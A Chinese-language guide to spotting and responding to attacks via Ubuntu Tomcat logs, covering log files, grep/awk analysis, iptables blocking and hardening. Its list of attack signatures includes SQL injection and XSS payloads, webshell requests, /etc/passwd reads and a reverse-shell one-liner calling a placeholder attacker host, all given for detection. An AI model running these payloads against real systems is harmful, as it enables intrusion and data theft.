如何通过Ubuntu Tomcat日志排查安全问题

1. 定位Tomcat日志文件
Ubuntu系统中，Tomcat日志默认存储在$CATALINA_HOME/logs目录（$CATALINA_HOME通常为Tomcat安装路径，如/opt/tomcat）。关键日志文件包括：

• catalina.out：记录服务器启动、运行及关闭的详细信息，包含Java异常堆栈（如内存溢出、Servlet错误）；
• localhost_access_log.*.txt：记录所有HTTP访问请求（IP、时间、方法、URL、状态码），是识别恶意访问的核心日志；
• localhost.log：记录Tomcat本地主机的错误及访问信息（如应用启动失败、404/500错误）；
• manager.log：记录Tomcat管理应用（如/manager/html）的操作日志（如部署、登录尝试）。

2. 配置日志级别与内容
调整日志级别可捕获更多安全相关信息：

• 编辑$CATALINA_HOME/conf/logging.properties，将org.apache.catalina、org.apache.coyote等包的日志级别从INFO调整为FINE或FINER（如org.apache.catalina.level = FINE），记录更详细的调试信息（如请求参数、会话操作）；
• 配置AccessLogValve（在server.xml中）记录访问日志的详细字段，例如添加%r（请求行，包含方法+URL+协议）、%s（响应状态码）、%{User-Agent}i（用户代理），便于分析异常请求模式。

3. 日志分析与异常识别

3.1 关键异常类型及特征

• SQL注入：请求参数包含and 1=1、union select、from information_schema等SQL语句（如/login?username=admin'--&password=123）；
• XSS攻击：请求中嵌入<script>、onerror=alert()等恶意脚本（如/comment?content=<script>alert(1)</script>）；
• 命令执行：参数含系统命令（如/bin/bash、certutil）或反弹Shell语句（如bash -i >& /dev/tcp/attacker_ip/4444 0>&1）；
• Webshell连接：访问非常规路径（如/admin.php、/shell.jsp），参数含eval、base64_decode等函数（如/shell.jsp?cmd=whoami）；
• 敏感信息泄露：尝试访问web.config、/etc/passwd、.bak（备份文件）、WEB-INF/config.properties等敏感资源。

3.2 常用分析方法

• 手动过滤关键字：使用grep命令快速查找异常关键词，例如：

  grep -i "error\|exception\|sql injection\|xss" $CATALINA_HOME/logs/catalina.out  # 查找错误与注入关键词
  grep -E "(union.*select|from\s+information_schema)" $CATALINA_HOME/logs/localhost_access_log.*.txt  # 查找SQL注入痕迹
  

• 统计异常频率：使用awk或sort统计高频异常（如同一IP的404错误次数），例如：

  awk '$9 == 404 {print $1}' $CATALINA_HOME/logs/localhost_access_log.2025-09-23.txt | sort | uniq -c | sort -nr  # 统计404错误的IP频率
  

• 工具自动化分析：使用ELK Stack（Elasticsearch+Logstash+Kibana）、Splunk或Graylog等工具，实现日志的集中存储、可视化与异常检测（如实时告警频繁的404请求）。

4. 响应与加固措施

• 锁定可疑对象：若发现某IP频繁发起恶意请求（如每秒10次以上的404错误），可通过iptables临时封禁：

  sudo iptables -A INPUT -s suspicious_ip -j DROP  # 封禁可疑IP
  

• 修复漏洞：根据日志中的错误信息修复代码漏洞（如SQL注入需使用预编译语句、XSS需转义输出），并更新Tomcat至最新版本（修复已知漏洞）；
• 强化配置：禁用不必要的HTTP方法（如OPTIONS、DELETE、PUT，在web.xml中配置安全约束）、隐藏Tomcat版本号（在server.xml中设置server="Apache"）、启用HTTPS（配置SSL/TLS证书）；
• 实时监控：部署SIEM系统（如Elastic SIEM），整合Tomcat日志与其他系统日志，实现实时威胁检测与告警。

5. 日志管理与维护

• 日志轮转：配置logrotate避免日志文件过大（如每天分割catalina.out），保留30天历史日志以便回溯：

  sudo nano /etc/logrotate.d/tomcat  # 创建或编辑配置文件
  

  添加以下内容：

  /opt/tomcat/logs/catalina.out {
      daily
      rotate 30
      compress
      missingok
      notifempty
      copytruncate
  }
  

• 权限管理：确保日志文件仅能被Tomcat用户（如tomcat）读取（避免敏感信息泄露），例如：

  sudo chown -R tomcat:tomcat $CATALINA_HOME/logs  # 设置日志目录所有者
  sudo chmod -R 640 $CATALINA_HOME/logs/*.log  # 设置日志文件权限
  ```。